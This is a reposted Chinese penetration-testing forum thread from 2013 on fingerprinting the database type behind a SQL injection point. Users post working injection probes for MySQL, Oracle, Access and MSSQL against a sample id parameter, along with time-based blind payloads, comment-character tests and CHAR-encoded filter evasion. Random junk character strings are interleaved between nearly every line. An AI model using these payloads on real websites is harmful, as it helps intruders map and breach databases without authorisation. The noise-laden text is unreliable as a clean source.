中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
% n- c( S9 A& b* n4 ]
xsser (十根阳具有长短!!) | 2013-02-05 12:36
% y% {: s' `2 {3 ?# J) [ z
假设这么一个注射点:
, z# D. x0 p- R7 M) t7 ]
show.html?id=2
) }, Y m# _/ V" h2 h9 |
mysql:id=2 and version()>0
! k, j4 |- j v! u" }6 O
oracle:id=2 and '1'||'1'='11
; r: D+ W) i V( v
其他的欢迎补充
2 J/ Z7 }( e" k7 ]/ a) y
1#
% A; h3 O+ f. d: c5 Y% a4 i% G
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
- U F: M D5 ~" m! G
Access:
; ~. C6 v$ W4 t' [$ t- V
aNd aSc(cHr(97))=97
0 J3 t+ H) o) z( _3 R
and exists(select id from MSysAccessObjects)
9 b( Z8 h5 @2 O: l
SQL Server:
' U, a* E9 B; v$ u: v9 {
and exists(select id from sysobjects)
) g d8 n0 c: Q5 _4 K }
and length(user)>0
) K3 n! [" ^: ~* ?6 S
MySQL:
0 z S v) X4 `( P
and length(user())>0
, h8 u& \; d; O0 E4 N; _/ |
2#
7 ~ `7 |! R$ r e# z) [' \
xsser (十根阳具有长短!!) | 2013-02-05 12:48
0 K$ w# m2 I9 p2 {; _- y& r1 V7 f1 ?
@upload 如果这些都不是呢…
1 Z& U. i5 I+ \# S& @# Y
3#
, {+ F) T: k* y. |4 ]6 L6 R0 ~, H6 ^ e
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
% q& y4 \/ |/ v2 M, R3 O7 H
@xsser 不快速的,延时注入
% B$ _+ f9 G d( S* S7 ]
不知道这样写对不对
) w6 y4 u* r$ g
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
* D, K* k( b6 R; D0 _+ J9 s; R y
mysql:id=2 and select benchmark(1e8,current_date());
& P! x+ T: ]0 [& n; D6 @
4#
' [+ `/ \& M/ {# A
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
1 z4 A6 W: s! M0 _/ m- q
最快的貌似是看报错信息
% k6 _# X9 K8 N
oracle error
2 d4 [+ M6 g6 a* ]% M; ^3 Q" s
mssql error
9 A2 s" J! A1 y! ~
mysql error
# M- E( U' e2 s% F. \$ O
5#
8 l- f( i! W2 _. s. y
Nimda (你们都是坏银~) | 2013-02-05 13:14
3 B7 U$ d7 ]$ |5 j& E3 A
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
7 d: A2 q1 u; V* M% \
6#
d+ K3 q7 G" Z+ g% Q' O
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
: b$ A. m+ q. ]+ h( e6 u
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
5 ~- ?, ]! I" y: F
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
8 i. L+ n$ D9 e1 n
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
, `) F J) q0 i2 v; Y3 A
7#
2 M. I. x9 a M( @+ P: G2 [+ [ J
_Evil (HackEnd) | 2013-02-05 13:33
: l. a* B6 J l3 _
PostgreSQL
8 O& [" T" n0 P/ {+ n2 Q9 H
8#
* Y! d* |3 l8 |+ z. B4 d$ `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
* R, h; L! \. T& M
切换编码 and 1=1
' i# F$ R- d) {) Y' }" m
oracle:
. a$ X3 Z$ Y6 X9 p
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
; H4 g5 Q& s8 ~7 \/ \- }
mssql:
. p6 {, i) }( k9 a2 {0 w9 K) V* J
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
# L, n' e! `7 a% V% o+ M t
mysql:
s& {+ U2 U" B" e+ O2 N, W
CHAR(97, 110, 100, 32, 49, 61, 49)
4 _; H: `! A& S; ~; D
9#
2 | e C7 K; ^8 s& G7 S1 i9 p+ o) N& v
xsser (十根阳具有长短!!) | 2013-02-05 14:31
4 I6 e4 } }, i, e, r& ?1 G# i
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
3 h( f& [* |2 M
10#
' W/ i7 S# I+ t. X* j
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
6 c M/ V& d, c7 f8 ]/ |
@xsser 是奇葩数据库类型的么?
$ P+ B& D$ U* z( f! J! U' O8 I
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
. z" G& @- \% Y! M2 C
1.是否可以使用特定的函数来判断,该数据库特有的
! x" A% }/ ]1 G
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
1 x# X' k) P$ N6 p/ W; K& j" ?
3.是否可以编码查询
) D0 a- D g3 r9 R, D
4.是否显可以利用错信息
1 T+ h6 X& N) C2 D
5.是否存在数据库某些特性辅助判断
( t% E; a3 k* k3 G, U) i
个人见解
2 C1 _- T9 s @
11#
% U* O0 s, p- E- e9 Z, `/ e
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
7 `% u9 E2 ]; q5 O
已收藏,mssql可以直接看到错误提示的吧~
2 u- j. }" t5 P3 ~4 b
12#
, y$ e# h+ }9 J6 w8 m
Passer_by | 2013-02-05 15:09
$ t! F, ^ g& V1 f1 H2 v0 l2 L, `$ u
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
+ g1 l6 M+ u2 @+ d
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2